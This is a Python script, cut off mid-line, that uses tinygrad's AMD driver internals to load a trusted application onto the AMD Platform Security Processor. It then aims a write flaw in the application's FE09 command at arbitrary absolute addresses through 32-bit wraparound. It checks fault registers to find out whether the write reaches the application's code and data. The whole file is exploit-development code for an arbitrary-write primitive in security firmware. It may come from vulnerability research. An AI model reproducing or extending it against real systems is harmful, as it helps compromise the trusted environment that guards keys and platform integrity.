#!/usr/bin/env python3 """Aim GCP FE09's write at an absolute TA virtual address using 32-bit wraparound. The fault dump's word[4] is the faulting address (two-point test: delta D == delta word[4]), giving params_VA = 0x04013000 for the shared buffer. The store computes target = params_VA + 0x418 + D (mod 2^32) so any 32-bit address is nameable: D = target - 0x4013418 (mod 2^32). GCP's own image sits at 0x400100.. so this asks whether the primitive can write into TA code and data. No fault + status 0 means the address was mapped and writable. """ import struct, sys sys.path.insert(0,'/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev=Device["AMD"].iface.dev_impl; psp=adev.psp FAULT=[getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n) for n in range(82,89)] def faults(): return tuple(r.read() for r in FAULT) PARAMS_VA=0x04013000 BASE=PARAMS_VA+0x418 def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) app_pa,app_mc=alloc(0x80000) blob=open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin','rb').read() def load(mc,ln=0x4000): n=(len(blob)+3)&~3 adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp() c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob) t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=mc&0xFFFFFFFF,mc>>32; t.cmd_buf_len=ln try: r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id except Exception as e: try: return int(str(e).strip().split()[-1])&0xFFFFFFFF,None except Exception: return -1,None def unload(sid): c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=sid try: return psp._ring_submit(c).resp.status&0xFFFFFFFF except Exception: return -1 def fe09(sid,pa,disp): buf=bytearray(b'\xA5'*0x4000) struct.pack_into('